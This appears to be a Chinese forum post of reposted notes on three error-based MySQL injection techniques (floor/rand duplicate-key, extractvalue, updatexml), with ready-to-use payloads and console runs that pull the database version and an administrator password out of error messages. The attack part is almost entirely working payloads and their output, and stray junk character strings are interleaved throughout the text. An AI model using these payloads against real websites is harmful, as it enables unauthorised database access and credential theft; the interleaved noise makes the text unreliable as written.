关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
# Z  [* l+ A% @8 H) D& r' R+ @实际测试环境：
​
+ j) b" |8 ]; ~7 w
' `) H8 t. |/ X) Y0 G# T+ Hmysql> show tables;
0 N$ |3 H$ R4 F, j- D- H" q+----------------+
+ m! Q6 F0 e6 g: Y: [' \| Tables_in_test |
+----------------+
: U. V; u9 @+ p% K( n7 g| admin          |
| article        |
. {* H9 e7 Q! E7 U+----------------+
1 _' I5 L7 O: J/ G: i% A5 X
. ?0 S) X( c0 [: N, {( j

mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+ i; w  F) [6 W) }7 q+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
2 U0 P  q& b5 Z, k8 \8 V| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
: d) Z5 }7 N& C. ^" J0 J+-------+------------------+------+-----+---------+----------------+

+ j! J; v& x8 y8 p0 T
# G2 j2 t" w/ M5 e6 {
mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
, c' |9 Z& M* V- l' U0 p+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
* e( f9 d/ T4 P8 v0 Y' J' b! P| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码

6 h3 j) A2 D1 A0 r3 \. v/ B
% o+ `4 O8 n6 S5 J! u1 H7 [! uand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
  ~! F3 D7 S% `- C3 L: ?8 f, jfrom information_schema.tables group by x)a);

* u/ V, \2 G6 M9 C6 H6 Z9 a0 I* H, K
and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
/ y+ l+ ^7 ?# p1 f! afloor(rand(0)*2)));
举例如下：
  p4 b( a# m* ^# ~- j& o3 N首先进行正常查询：

- D; Y2 o; T% h7 j4 N! M' lmysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
7 a' P8 F3 f, h# }# X+ ^. f( i+----+-------+---------+
|  1 | test  | do it   |
5 p* k& i! U3 A) q$ f9 v+----+-------+---------+
" B" |1 y6 @+ z. K! f9 p5 y# w假如id输入存在注入的话，可以通过如下语句进行报错。

- F/ P* W  o! ^% q+ |" l& P
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
0 ^4 d4 `1 T' KERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:
( F' N) j  k* u
6 O0 e6 m, G6 J, d8 b7 C
mysql> select * from article where id = 1 and (select 1 from
" E5 `; ]+ i! B8 Y+ u(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
: X* u5 d4 I8 \2 ~- v1 [ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
) k, H: {* j2 E, ]6 t

mysql> select * from article where id = 1 and (select count(*)
) k1 l5 S+ n, Z# b- [0 U/ U. Efrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
/ H- O  l/ i( z, Z$ {2、ExtractValue
测试语句如下

3 E# a1 L! l2 n. A* `2 L
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
' m2 A" j7 |! h- M7 I实际测试过程
8 `9 A6 B) E. B' Y6 _/ p- Y  v

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
! `/ Y6 E0 Q  D& W( ?测试语句
. V; ~6 U1 R& J9 _# T2 a" T# m. J

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程

/ V2 f9 n2 b, b& ~
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
! ?9 ?+ y0 z& ^7 b0 p1 lERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
5 e. p, E8 Y  W7 dAll, thanks foreign guys.
9 \  R4 a& @- {6 }) [3 [
​